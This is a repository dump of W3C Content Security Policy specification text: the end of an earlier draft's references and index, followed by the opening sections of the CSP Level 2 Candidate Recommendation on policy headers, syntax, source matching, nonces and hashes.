John Daggett. CSS Fonts Module Level 3. 12 February 2013. W3C Working Draft. (Work in progress.) URL: http://www.w3.org/TR/2013/WD-css3-fonts-20130212/
[CSS4-IMAGES]
Elika J. Etemad; Tab Atkins Jr.. CSS Image Values and Replaced Content Module Level 4. 11 September 2012. W3C Working Draft. (Work in progress.) URL: http://www.w3.org/TR/2012/WD-css4-images-20120911/
[CSSOM]
Anne van Kesteren. CSSOM. 12 July 2011. W3C Working Draft. (Work in progress.) URL: http://www.w3.org/TR/2011/WD-cssom-20110712/
[ECMA-262]
???. ECMAScript Language Specification, Third Edition. December 1999. URL: http://www.ecma-international.org/publications/standards/Ecma-262.htm
[EVENTSOURCE]
Ian Hickson. Server-Sent Events. 11 December 2012. W3C Candidate Recommendation. (Work in progress.) URL: http://www.w3.org/TR/2012/CR-eventsource-20121211/
[HTML-IMPORTS]
Dmitri Glazkov; Hajime Morrita. HTML Imports. WD. URL: http://www.w3.org/TR/html-imports/
[HTML5]
Robin Berjon; et al. HTML5. 6 August 2013. W3C Candidate Recommendation. (Work in progress.) URL: http://www.w3.org/TR/2013/CR-html5-20130806/
[RFC2119]
S. Bradner. Key words for use in RFCs to Indicate Requirement Levels. URL: http://www.ietf.org/rfc/rfc2119.txt
[RFC3492]
Adam M. Costello. Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA). REC. URL: http://www.ietf.org/rfc/rfc3492.txt
[RFC3864]
Graham Klyne; Mark Nottingham; Jeffrey C. Mogul. Registration Procedures for Message Header Fields. RFC. URL: http://www.ietf.org/rfc/rfc3864.txt
[RFC4627]
Douglas Crockford. The 'application/json' Media Type for JavaScript Object Notation (JSON). RFC. URL: http://www.ietf.org/rfc/rfc4627.txt
[RFC6454]
Adam Barth. The Web Origin Concept. RFC. URL: http://www.ietf.org/rfc/rfc6454.txt
[RFC7034]
David Ross; Tobias Gondrom. HTTP Header Field X-Frame-Options. RFC. URL: http://www.ietf.org/rfc/rfc7034.txt
[RFC7230]
Roy T. Fielding; Julian F. Reschke. HTTP/1.1 Message Syntax and Routing. RFC. URL: http://www.ietf.org/rfc/rfc7230.txt
[RFC7231]
Roy T. Fielding; Julian F. Reschke. HTTP/1.1 Semantics and Content. RFC. URL: http://www.ietf.org/rfc/rfc7231.txt
[URI]
T. Berners-Lee; R. Fielding; L. Masinter. Uniform Resource Identifiers (URI): generic syntax. January 2005. URL: http://www.ietf.org/rfc/rfc3986.txt
[WEBIDL]
Cameron McCormack. Web IDL. 19 April 2012. W3C Candidate Recommendation. (Work in progress.) URL: http://www.w3.org/TR/2012/CR-WebIDL-20120419/
[WEBSOCKETS]
Ian Hickson. The WebSocket API. 20 September 2012. W3C Candidate Recommendation. (Work in progress.) URL: http://www.w3.org/TR/2012/CR-websockets-20120920/
[WORKERS]
Ian Hickson. Web Workers. 1 May 2012. W3C Candidate Recommendation. (Work in progress.) URL: http://www.w3.org/TR/2012/CR-workers-20120501/
[XML11]
Eve Maler; et al. Extensible Markup Language (XML) 1.1 (Second Edition). 16 August 2006. W3C Recommendation. URL: http://www.w3.org/TR/2006/REC-xml11-20060816
[XMLHTTPREQUEST]
Julian Aubourg; 송정기 (Jungkee Song); Hallvord R. M. Steen. XMLHttpRequest. 6 December 2012. W3C Working Draft. (Work in progress.) URL: http://www.w3.org/TR/2012/WD-XMLHttpRequest-20121206/
[XSLT]
James Clark. XSL Transformations (XSLT) Version 1.0. 16 November 1999. W3C Recommendation. URL: http://www.w3.org/TR/1999/REC-xslt-19991116

Informative References

Index

  • allowed base URIs, 7.1
  • allowed child sources, 7.2
  • allowed connection targets, 7.3
  • allowed font sources, 7.5
  • allowed form actions, 7.6
  • allowed frame ancestors, 7.7
  • allowed frame sources, 7.8
  • allowed image sources, 7.9
  • allowed media sources, 7.10
  • allowed object sources, 7.11
  • allowed plugin media types, 7.12
  • allowed script sources, 7.17
  • allowed style sources, 7.18
  • base64-value, 4.2
  • base-uri, 7.1
  • blockedURI
    • attribute for SecurityPolicyViolationEvent, 6.1
    • dict-member for SecurityPolicyViolationEventInit, 6.2
    • attribute for SecurityPolicyViolationEventInit, 6.2
  • callable, 2
  • callers, 2
  • CH-CSP, 3.4
  • child-src, 7.2
  • columnNumber
    • attribute for SecurityPolicyViolationEvent, 6.1
    • dict-member for SecurityPolicyViolationEventInit, 6.2
    • attribute for SecurityPolicyViolationEventInit, 6.2
  • conformant server, Unnumbered section
  • conformant user agent, Unnumbered section
  • connect-src, 7.3
  • Content-Security-Policy, 3.1
  • Content-Security-Policy-Report-Only, 3.2
  • Content Security Policy task source, 4.4
  • default sources, 7.4
  • default-src, 7.4
  • digest of element’s content, 4.2.5
  • directive, 2
  • directive name, 2
  • directive-name, 4.1
  • directive-token, 4.1
  • directive-value, 4.1
  • directive value, 2
  • documentURI
    • attribute for SecurityPolicyViolationEvent, 6.1
    • dict-member for SecurityPolicyViolationEventInit, 6.2
    • attribute for SecurityPolicyViolationEventInit, 6.2
  • effectiveDirective
    • attribute for SecurityPolicyViolationEvent, 6.1
    • dict-member for SecurityPolicyViolationEventInit, 6.2
    • attribute for SecurityPolicyViolationEventInit, 6.2
  • element’s content, 4.2.5
  • enforce, 5
  • eventInitDict, 6.1
  • fire a violation event, 6.3
  • font-src, 7.5
  • form-action, 7.6
  • frame-ancestors, 7.7
  • frame-src, 7.8
  • generate a violation report object, 4.4
  • generating a violation report object, 4.4
  • globally unique identifier, 2
  • hash-algo, 4.2
  • hash-source, 4.2
  • hash-value, 4.2
  • hint-value, 3.4
  • host-char, 4.2
  • host-part, 4.2
  • host-source, 4.2
  • HTTP 200 response, 2
  • img-src, 7.9
  • JSON object, 2
  • JSON stringification, 2
  • keyword-source, 4.2
  • lineNumber
    • attribute for SecurityPolicyViolationEvent, 6.1
    • dict-member for SecurityPolicyViolationEventInit, 6.2
    • attribute for SecurityPolicyViolationEventInit, 6.2
  • match a media type list, 4.3.2
  • match a source expression, 4.2.2
  • match a source list, 4.2.2
  • media-src, 7.10
  • media type, 4.3
  • media-type, 4.3
  • media type list, 4.3
  • media-type-list, 4.3
  • monitor, 5
  • nonce
    • (element-attr), 4.2.3
    • attribute for HTMLScriptElement, 4.2.3
    • attribute for HTMLStyleElement, 4.2.3
  • nonce-source, 4.2
  • nonce-value, 4.2
  • object-src, 7.11
  • origin, 2
  • originalPolicy
    • attribute for SecurityPolicyViolationEvent, 6.1
    • dict-member for SecurityPolicyViolationEventInit, 6.2
    • attribute for SecurityPolicyViolationEventInit, 6.2
  • parse a media type list, 4.3.1
  • parse a source list, 4.2.1
  • parse the policy, 4.1.1
  • path-part, 4.2
  • plugin-types, 7.12
  • policy, 2
  • policy-token, 4.1
  • port-part, 4.2
  • protected resource, 2
  • referrer
    • attribute for SecurityPolicyViolationEvent, 6.1
    • dict-member for SecurityPolicyViolationEventInit, 6.2
    • attribute for SecurityPolicyViolationEventInit, 6.2
    • definition of, 7.13
  • referrer policy, 7.13
  • reflected-xss, 7.14
  • report a violation, 4.4
  • report-uri, 7.15
  • resource representation, 2
  • runs a worker, 2
  • sandbox, 7.16
  • sandbox-token, 7.16
  • scheme-part, 4.2
  • scheme-source, 4.2
  • script-src, 7.17
  • security policy, 2
  • security policy directive, 2
  • SecurityPolicyViolationEvent, 6.1
  • SecurityPolicyViolationEventInit, 6.2
  • send violation reports, 4.4
  • set of report URIs, 7.15
  • SHA-256, 2
  • SHA-384, 2
  • SHA-512, 2
  • source-expression, 4.2
  • source expression, 4.2
  • source-file, 4.4
  • sourceFile
    • attribute for SecurityPolicyViolationEvent, 6.1
    • dict-member for SecurityPolicyViolationEventInit, 6.2
    • attribute for SecurityPolicyViolationEventInit, 6.2
  • source-list, 4.2
  • source list, 4.2
  • stripped for reporting, 4.4
  • strip uri for reporting, 4.4
  • style-src, 7.18
  • type, 6.1
  • URI, 2
  • uri-reference, 7.15
  • valid hash, 4.2.5
  • valid nonce, 4.2.4
  • violatedDirective
    • attribute for SecurityPolicyViolationEvent, 6.1
    • dict-member for SecurityPolicyViolationEventInit, 6.2
    • attribute for SecurityPolicyViolationEventInit, 6.2
================================================ FILE: published/2014-09-03-CSP-2-CR.html ================================================ Content Security Policy

Content Security Policy

W3C Candidate Recommendation, 3 September 2014

This version:
http://www.w3.org/TR/2014/CR-CSP2-2-20140903/
Latest version:
http://www.w3c.org/TR/CSP2/
Editor’s Draft:
https://w3c.github.io/webappsec/specs/content-security-policy/
Previous Versions:
http://www.w3.org/TR/2014/WD-CSP2-20140703/
http://www.w3.org/TR/2014/WD-CSP11-20140211/
http://www.w3.org/TR/2012/CR-CSP-20121115/
Feedback:
public-webappsec@w3.org with subject line “[CSP2] … message topic …”(archives)
Editors:
(Google Inc.)
(Google Inc.)
(Mozilla Corporation)
Former Editors:
(formerly of Mozilla Corporation)

Abstract

This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.

Status of this document

This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at http://www.w3.org/TR/.

This document was published by the Web Application Security Working Group as a Candidate Recommendation. This document is intended to become a W3C Recommendation.

The (archived) public mailing list public-webappsec@w3.org (see instructions) is preferred for discussion of this specification. When sending e-mail, please put the text “CSP2” in the subject, preferably like this: “[CSP2] …summary of comment…

Publication as a Candidate Recommendation does not imply endorsement by the W3C Membership. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress.

The entrance criteria for this document to enter the Proposed Recommendation stage is to have a minimum of two independent and interoperable user agents that implementation all the features of this specification, which will be determined by passing the user agent tests defined in the test suite developed by the Working Group.

This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

This document is governed by the 1 August 2014 W3C Process Document.

The following features are at-risk, and may be dropped during the CR period:

Table of Contents

1 Introduction

This section is not normative.

This document defines Content Security Policy, a mechanism web applications can use to mitigate a broad class of content injection vulnerabilities, such as cross-site scripting (XSS). Content Security Policy is a declarative policy that lets the authors (or server administrators) of a web application inform the client about the sources from which the application expects to load resources.

To mitigate XSS attacks, for example, a web application can declare that it only expects to load script from specific, trusted sources. This declaration allows the client to detect and block malicious scripts injected into the application by an attacker.

Content Security Policy (CSP) is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth, to reduce the harm caused by content injection attacks. As a first line of defense against content injection, server operators should validate their input and encode their output.

There is often a non-trivial amount of work required to apply CSP to an existing web application. To reap the greatest benefit, authors will need to move all inline script and style out-of-line, for example into external scripts, because the user agent cannot determine whether an inline script was injected by an attacker.

To take advantage of CSP, a web application opts into using CSP by supplying a Content-Security-Policy HTTP header. Such policies apply to the current resource representation only. To supply a policy for an entire site, the server needs to supply a policy with each resource representation.

1.1 Changes from 1.0

This document describes an evolution of the Content Security Policy specification. Level 2 makes two breaking changes, and adds support for a number of new directives and capabilities which are summarized below:

  1. The following changes are backwards incompatible with the majority of user agent’s implementations of CSP 1:
    1. The path component of a source expression is now ignored if the resource being loaded is the result of a redirect, as described in §4.2.2.3 Paths and Redirects.

      Note: Paths are technically new in CSP2, but they were already implemented in many user agents before this revision of CSP was completed, so noting the change here seems reasonable.

    2. Redirects are blocked by default, and explicitly allowed with a new unsafe-redirect expression.
    3. A protected resource’s ability to load Workers is now controlled via child-src rather than script-src.
    4. Workers now have their own policy, separate from the protected resource which loaded them. This is described in §5.1 Workers.
  2. The following directives are brand new in this revision:
    1. base-uri controls the protected resource’s ability to specify the document base URL.
    2. child-src deprecates and replaces frame-src, controlling the protected resource’s ability to embed frames, and to load Workers.
    3. form-action controls the protected resource’s ability to submit forms.
    4. frame-ancestors controls the protected resource’s ability be embedded in other documents. It is meant to supplant the X-Frame-Options HTTP request header.
    5. plugin-types controls the protected resource’s ability to load specific types of plugins.
    6. referrer controls the protected resource’s referrer policy [REFERRER].
    7. reflected-xss controls the user agent’s built-in heuristics to actively protect against XSS. It is meant to supplant the X-XSS-Protection HTTP request header.
  3. Individual inline scripts and stylesheets may be whitelisted via nonces (as described in §4.2.4 Valid Nonces) and hashes (as described in §4.2.5 Valid Hashes).
  4. A CSP request header is now sent with relevant requests, as described in §3.4 The CSP HTTP Request Header.
  5. A SecurityPolicyViolationEvent is fired upon violations, as described in §6.3 Firing Violation Events.
  6. A number of new fields were added to violation reports (both those POSTED via report-uri, and those handed to the DOM via SecurityPolicyViolationEvent events. These include effectiveDirective, statusCode, sourceFile, lineNumber, columnNumber.

2 Key Concepts and Terminology

This section defines several terms used throughout the document.

The term security policy refers to either:

  1. a set of security preferences for restrictions within which the content can operate, or
  2. a fragment of text that codifies these preferences.

The security policies defined by this document are applied by a user agent on a per-resource representation basis. Specifically, when a user agent receives a policy along with the representation of a given resource, that policy applies to that resource representation only. This document often refers to that resource representation as the protected resource.

A security policy directive is a portion of a policy that declares the specific set of restrictions for a particular resource type, or which manipulates a specific aspect of a protected resource’s configuration. A server transmits its security policy for a particular protected resource as a collection of directives, such as default-src 'self', each of which declares a specific set of restrictions for that resource as instantiated by the user agent. More details are provided in the §7 Directives section.

A directive consists of a directive name, which indicates the privileges controlled by the directive, and a directive value, which specifies the restrictions the policy imposes on those privileges.

The term origin is defined in the Origin specification. [RFC6454]

The term globally unique identifier is defined in section 4 of the Origin specification. Note that URLs that do not use hierarchical elements as naming authorities have origins which are globally unique identifiers. [RFC6454]

The term URI is defined in the URI specification. [URI]

The term resource representation is defined Section 3 of HTTP/1.1 -- Semantics and Content [RFC7231]

The terms JSON object and JSON stringification are defined in the JSON specification. [RFC4627]

The applet, audio, embed, iframe, img, link, object, script, source, track, and video elements are defined in the HTML5 specification. [HTML5]

The terms auxiliary browsing contexts, opener browsing context, and nested browsing contexts are defined in the HTML5 specification. [HTML5]

A plugin is defined in the HTML5 specification. [HTML5]

The <@font-face> Cascading Style Sheets (CSS) rule is defined in the CSS Fonts Module Level 3 specification. [CSS3-FONTS]

The XMLHttpRequest object is defined in the XMLHttpRequest specification. [XMLHTTPREQUEST]

The WebSocket object is defined in the WebSocket specification. [WEBSOCKETS]

The EventSource object is defined in the EventSource specification. [EVENTSOURCE]

The Augmented Backus-Naur Form (ABNF) notation used in this document is specified in RFC5234. [ABNF]

This document also uses the ABNF extension "#rule" as defined in Section 7 of HTTP/1.1 -- Message Syntax and Routing. [RFC7230]

The following core rules are included by reference, as defined in Appendix B.1 of [ABNF]: ALPHA (letters), DIGIT (decimal 0-9), WSP (white space) and VCHAR (printing characters).

SHA-256, SHA-384, and SHA-512 are the digest algorithms defined by the NIST.

The runs a worker algorithm is defined in the Web Workers spec. [WORKERS]

The term callable refers to an object whose interface has one or more callers as defined in the Web IDL specification [WEBIDL].

An HTTP 200 response is defined in Section 6.3.1 of HTTP/1.1 -- Semantics and Content [RFC7231]

3 Policy Delivery

The server delivers the policy to the user agent via an HTTP response header or an HTML meta element. Servers are informed that requests are subject to a policy via an HTTP request header.

3.1 Content-Security-Policy Header Field

The Content-Security-Policy header field is the preferred mechanism for delivering a policy.

"Content-Security-Policy:" 1#policy-token

For example:

Content-Security-Policy: script-src 'self'

A server MAY send more than one HTTP header field named Content-Security-Policy with a given resource representation.

A server MAY send different Content-Security-Policy header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy header field, the user agent MUST enforce each of the policies contained in each such header field.

3.2 Content-Security-Policy-Report-Only Header Field

The Content-Security-Policy-Report-Only header field lets servers experiment with policies by monitoring (rather than enforcing) a policy.

"Content-Security-Policy-Report-Only:" 1#policy-token

For example, server operators might wish to develop their security policy iteratively. The operators can deploy a report-only policy based on their best estimate of how their site behaves:

Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-report-endpoint/

If their site violates this policy the user agent will send violation reports to the URI specified in the policy’s report-uri directive, but allow the violating resources to load regardless. Once a site has confidence that the policy is appropriate, they can start enforcing the policy using the Content-Security-Policy header field.

A server MAY send more than one HTTP header field named Content-Security-Policy-Report-Only with a given resource representation.

A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy-Report-Only header field, the user agent MUST monitor each of the policies contained in each such header field.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.3 HTML meta Element

The server MAY supply a policy in an HTML meta element with an http-equiv attribute that is a case insensitive match for the string "Content-Security-Policy". For example:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
Add the following entry to the pragma directives for the meta element:
Content security policy (http-equiv="content-security-policy")
  1. If the Document’s head element is not an ancestor of the meta element, abort these steps.
  2. If the meta element lacks a content attribute, abort these steps.
  3. Let policy be the value of the content attribute of the meta element.
  4. Let directive-set be the result of parsing policy.
  5. Remove all occurrences of reflected-xss, report-uri, and sandbox directives from directive-set.
  6. Enforce each of the directives in directive-set, as defined for each directive type.

Authors are strongly encouraged to place the meta element as early in the document as possible to reduce the risk of content injection before a protective policy can be read and enforced.

Note: A policy specified via a meta element will be enforced along with any other policies active for the protected resource, regardless of where they’re specified. The general mechanism for determining the effect of enforcing multiple policies is detailed in the §3.5 Enforcing multiple policies. section.

Note: Modifications to the content attribute of a meta element after the element has been parsed will be ignored.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.4 The CSP HTTP Request Header

The CSP header field indicates that a particular request is subject to a policy, and its value is defined by the following ABNF grammar:

"CSP:" 1#csp-header-value
csp-header-value = *WSP "active"

If the user agent is monitoring or enforcing a policy that includes directives whose value is a source list, and whose source list contains the 'unsafe-redirect' source expression, then the user agent MUST send a header field named CSP along with requests for resources whose origin does not match the protected resource’s origin. The value of this header MUST be active.

The user agent MAY choose to send this header only if the request is for a resource type which the active policy would effect. That is, given a policy of img-src example.com 'unsafe-redirect', the user agent would send CSP: active along with requests for images, but might choose not to send the header with requests for script.

Note: The central reason for including this header is that it hints to a server that information about redirects might be leaked as a side-effect of a page’s active policy. If this header is present, a server might decline to redirect a logged-out user from example.com to accounts.example.com, for example, as a malicious embedder might otherwise be able to determine the user’s logged-in status.

3.5 Enforcing multiple policies.

This section is not normative.

The above sections note that when multiple policies are present, each must be enforced or reported, according to its type. An example will help clarify how that ought to work in practice. The behavior of an XMLHttpRequest might seem unclear given a site that, for whatever reason, delivered the following HTTP headers:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/

Is a connection to example.com allowed or not? The short answer is that the connection is not allowed. Enforcing both policies means that a potential connection would have to pass through both unscathed. Even though the second policy would allow this connection, the first policy contains connect-src 'none', so its enforcement blocks the connection. The impact is that adding additional policies to the list of policies to enforce can only further restrict the capabilities of the protected resource.

To demonstrate that further, consider a script tag on this page. The first policy would lock scripts down to 'self', http://example.com and http://example.net via the default-src directive. The second, however, would only allow script from http://example.com/. Script will only load if it meets both policy’s criteria: in this case, the only origin that can match is http://example.com, as both policies allow it.

3.6 Policy applicability

This section is not normative.

Policies are associated with an protected resource, and enforced or monitored for that resource. If a resource does not create a new execution context (for example, when including a script, image, or stylesheet into a document), then any policies delivered with that resource are discarded without effect. Its execution is subject to the policy or policies of the including context. The following table outlines examples of these relationships:

Resource Type What policy applies?
Top-level Contexts HTML as a new, top-level browsing context The policy delivered with the resource
SVG, as a top-level document Policy delivered with the resource
Embedded Contexts Any resource included via iframe, object, or embed The policy of the embedding resource controls what may be embedded. The embedded resource, however, is controlled by the policy delivered with the resource, or the policy of the embedding resource if the embedded resource is a globally unique identifier (or a srcdoc frame).
SVG, as an embedded document The policy delivered with the resource, or policy of the creating context if created from a globally unique identifier.
JavaScript, as a Worker, Shared Worker or Service Worker The policy delivered with the resource, or policy of the creating context if created from a globally unique identifier
Subresources SVG, inlined via svg Policy of the including context
SVG, as a resource document Policy of the including context
HTML via XMLHttpRequest Policy of the context that performed the fetch
Image via img element Policy of the including context
JavaScript via a script element Policy of the including context
SVG, via img No policy; should be just as safe as JPG
SVG, as a WebFont No policy; should be just as safe as WOFF

4 Syntax and Algorithms

4.1 Policy Syntax

A Content Security Policy consists of a U+003B SEMICOLON (;) delimited list of directives. Each directive consists of a directive name and (optionally) a directive value, defined by the following ABNF:

policy-token    = [ directive-token *( ";" [ directive-token ] ) ]
directive-token = *WSP [ directive-name [ WSP directive-value ] ]
directive-name  = 1*( ALPHA / DIGIT / "-" )
directive-value = *( WSP / <VCHAR except ";" and ","> )

4.1.1 Parsing Policies

To parse the policy policy, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of directives be the empty set.
  2. For each non-empty token returned by strictly splitting the string policy on the character U+003B SEMICOLON (;):
    1. Skip whitespace.
    2. Collect a sequence of characters that are not space characters. The collected characters are the directive name.
    3. If there are characters remaining in token, skip ahead exactly one character (which must be a space character).
    4. The remaining characters in token (if any) are the directive value.
    5. If the set of directives already contains a directive whose name is a case insensitive match for directive name, ignore this instance of the directive and continue to the next token.
    6. Add a directive to the set of directives with name directive name and value directive value.
  3. Return the set of directives.

4.2 Source List Syntax

Many CSP directives use a value consisting of a source list, defined in the ABNF grammar below.

Each source expression in the source list represents a location from which content of the specified type can be retrieved. For example, the source expression 'none' represents the empty set of URIs, and the source expression 'unsafe-inline' represents content supplied inline in the resource itself.

source-list       = *WSP [ source-expression *( 1*WSP source-expression ) *WSP ]
                  / *WSP "'none'" *WSP
source-expression = scheme-source / host-source / keyword-source / nonce-source / hash-source
scheme-source     = scheme-part ":"
host-source       = [ scheme-part "://" ] host-part [ port-part ] [ path-part ]
keyword-source    = "'self'" / "'unsafe-inline'" / "'unsafe-eval'" / "'unsafe-redirect'"
base64-value      = 1*( ALPHA / DIGIT / "+" / "/" )*2( "=" )
nonce-value       = base64-value
hash-value        = base64-value
nonce-source      = "'nonce-" nonce-value "'"
hash-algo         = "sha256" / "sha384" / "sha512"
hash-source       = "'" hash-algo "-" hash-value "'"
scheme-part       = <scheme production from RFC 3986, section 3.1>
host-part         = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
host-char         = ALPHA / DIGIT / "-"
path-part         = <path production from RFC 3986, section 3.3>
port-part         = ":" ( 1*DIGIT / "*" )

If the policy contains a nonce-source expression, the server MUST generate a fresh value for the nonce-value directive at random and independently each time it transmits a policy. This requirement ensures that the nonce-value is difficult for an attacker to predict.

The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly into a policy string, but instead MUST be Punycode-encoded [RFC3492]. For example, the domain üüüüüü.de would be encoded as xn--tdaaaaaa.de.

4.2.1 Parsing Source Lists

To parse a source list source list, the user agent MUST use an algorithm equivalent to the following:

  1. Strip leading and trailing whitespace from source list.
  2. If source list is a case insensitive match for the string 'none' (including the quotation marks), return the empty set.
  3. Let set of source expressions be the empty set.
  4. For each token returned by splitting source list on spaces, if the token matches the grammar for source-expression, add the token to the set of source expressions.
  5. Return the set of source expressions.

Note: Characters like U+003B SEMICOLON (;) and U+002C COMMA (,) cannot appear in source expressions directly: if you’d like to include these characters in a source expression, they must be percent encoded as %3B and %2C respectively.

4.2.2 Matching Source Expressions

A URI is said to match a source expression if the following algorithm returns does match:

  1. Normalize the URI according to Section 6 of RFC3986.
  2. If the source expression a consists of a single U+002A ASTERISK character (*), and the URI’s scheme is not of a type designating a globally unique identifier, (such as blob:, data:, or filesystem:) then return does match.
  3. If the source expression matches the grammar for scheme-source:
    1. If the URI’s scheme is a case-insensitive match for the source expression’s scheme-part, return does match.
    2. Otherwise, return does not match.
  4. If the source expression matches the grammar for host-source:
    1. If the URI does not contain a host, then return does not match.
    2. Let uri-scheme, uri-host, and uri-port be the scheme, host, and port of the URI, respectively. If the URI does not have a port, then let uri-port be the default port for uri-scheme. Let uri-path be the path of the URI after decoding percent-encoded characters. If the URI does not have a path, then let uri-path be the U+002F SOLIDUS character (/).
    3. If the source expression has a scheme-part that is not a case insensitive match for uri-scheme, then return does not match.
    4. If the source expression does not have a scheme, return does not match if
      1. the scheme of the protected resource’s URI is a case insensitive match for HTTP, and uri-scheme is not a case insensitive match for either HTTP or HTTPS
      2. the scheme of the protected resource’s URI is not a case insensitive match for HTTP, and uri-scheme is not a case insensitive match for the scheme of the protected resource’s URI.
    5. If the first character of the source expression’s host-part is an U+002A ASTERISK character (*) and the remaining characters, including the leading U+002E FULL STOP character (.), are not a case insensitive match for the rightmost characters of uri-host, then return does not match.
    6. If the first character of the source expression’s host-part is not an U+002A ASTERISK character (*) and uri-host is not a case insensitive match for the source expression’s host-part, then return does not match.
    7. If the source expression does not contain a port-part and uri-port is not the default port for uri-scheme, then return does not match.
    8. If the source expression does contain a port-part, then return does not match if
      1. port-part does not contain an U+002A ASTERISK character (*), and
      2. port-part does not represent the same number as uri-port.
    9. If the source expression contains a non-empty path-part, and the URI is not the result of a redirect, then:
      1. Let decoded-path be the result of decoding path-part’s percent-encoded characters.
      2. If the final character of decoded-path is the U+002F SOLIDUS character (/), and decoded-path is not a prefix of uri-path, then return does not match.
      3. If the final character of decoded-path is not the U+002F SOLIDUS character (/), and decoded-path is not an exact match for uri-path then return does not match.
    10. Otherwise, return does match.
  5. If the source expression is a case insensitive match for 'self' (including the quotation marks), then:
    1. Return does match if the URI has the same scheme, host, and port as the protected resource’s URI (using the default port for the appropriate scheme if either or both URIs are missing ports).
  6. Otherwise, return does not match.

A URI is said to match a source list if the following conditions are met:

  1. The URI matches at least one source expression in the set of source expressions obtained by parsing the source list.
  2. At least one of the following is true:
    1. The URI is one of not the result of a redirect.
    2. The set of source expressions obtained by parsing the source list contains the source expression 'unsafe-redirect'.
    3. The source list is the U+002A ASTERISK character (*).

Note: No URIs match an empty set of source expressions, such as the set obtained by parsing the source list 'none'.

4.2.2.1 Security Considerations for GUID URI schemes

This section is not normative.

As defined above, special URI schemes that refer to specific pieces of unique content, such as "data:", "blob:" and "filesystem:" are excluded from matching a policy of * and must be explicitly listed. Policy authors should note that the content of such URIs is often derived from a response body or execution in a Document context, which may be unsafe. Especially for the default-src and script-src directives, policy authors should be aware that allowing "data:" URIs is equivalent to unsafe-inline and allowing "blob:" or "filesystem:" URIs is equivalent to unsafe-eval.

4.2.2.2 Path Matching

This section is not normative.

The rules for matching source expressions that contain paths are simpler than they look: paths that end with the '/' character match all files in a directory and its subdirectories. Paths that do not end with the '/' character match only one specific file. A few examples should make this clear:

  1. The source expression example.com has no path, and therefore matches any file served from that host.
  2. The source expression example.com/scripts/ matches any file in the scripts directory of example.com, and any of its subdirectories. For example, both https://example.com/scripts/file.js and https://example.com/scripts/js/file.js would match.
  3. The source expression example.com/scripts/file.js matches only the file named file.js in the scripts directory of example.com.
  4. Likewise, the source expression example.com/js matches only the file named js. In particular, note that it would not match files inside a directory named js. Files like example.com/js/file.js would be matched only if the source expression ended with a trailing "/", as in example.com/js/.

Note: Query strings have no impact on matching: the source expression example.com/file?key=value matches all of https://example.com/file, https://example.com/file?key=value, https://example.com/file?key=notvalue, and https://example.com/file?notkey=notvalue.

4.2.2.3 Paths and Redirects

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com not-example.com/path:

  • Directly loading https://not-example.com/not-path would fail, as it doesn’t match the policy.
  • Directly loading https://example.com/redirector would pass, as it matches example.com.
  • Assuming that https://example.com/redirector delivered a redirect response pointing to https://not-example.com/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches not-example.com/path if we ignore its path component.

This restriction reduces the granularity of a document’s policy when redirects are in play, which isn’t wonderful, but given that we certainly don’t want to allow brute-forcing paths after redirects, it seems a reasonable compromise.

The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.

4.2.3 The nonce attribute

Nonce sources require a new attribute to be added to both script and style elements: nonce.

partial interface HTMLScriptElement {
  attribute DOMString nonce;
};
nonce
This attribute reflects the value of the element’s nonce content attribute.
partial interface HTMLStyleElement {
  attribute DOMString nonce;
};
nonce
This attribute reflects the value of the element’s nonce content attribute.

4.2.4 Valid Nonces

An element has a valid nonce for a set of source expressions if the value of the element’s nonce attribute after stripping leading and trailing whitespace is a case-sensitive match for the nonce-value component of at least one nonce-source expression in set of source expressions.

4.2.5 Valid Hashes

An element’s content is the script block’s source for script elements, or the value of the element’s textContent IDL attribute for non-script elements such as style.

The digest of element’s content for is the result of applying an algorithm to the element’s content.

To determine whether element has a valid hash for a set of source expressions, execute the following steps:

  1. Let hashes be a list of all hash-source expressions in set of source expressions.
  2. For each hash in hashes:
    1. Let algorithm be:
      • SHA-256 if the hash-algo component of hash is a case-insensitive match for the string "sha256"
      • SHA-384 if the hash-algo component of hash is a case-insensitive match for the string "sha384"
      • SHA-512 if the hash-algo component of hash is a case-insensitive match for the string "sha512"
    2. Let expected be the hash-value component of hash.
    3. Let actual be the base64 encoding of the binary digest of element’s content using the algorithm algorithm.
    4. If actual is a case-sensitive match for expected, return true and abort these steps.
  3. Return false.

Note: If an element has an invalid hash, it would be helpful if the user agent reported the failure to the author by adding a warning message containing the actual hash value.

4.3 Media Type List

The plugin-types directive uses a value consisting of a media type list.

Each media type in the media type list represents a specific type of resource that can be retrieved and used to instantiate a plugin in the protected resource.

media-type-list   = media-type *( 1*WSP media-type )
media-type        = <type from RFC 2045> "/" <subtype from RFC 2045>

4.3.1 Parsing

To parse a media type list media type list, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of media types be the empty set.
  2. For each token returned by splitting media type list on spaces, if the token matches the grammar for media-type, add the token to the set of media types. Otherwise ignore the token.
  3. Return the set of media types.

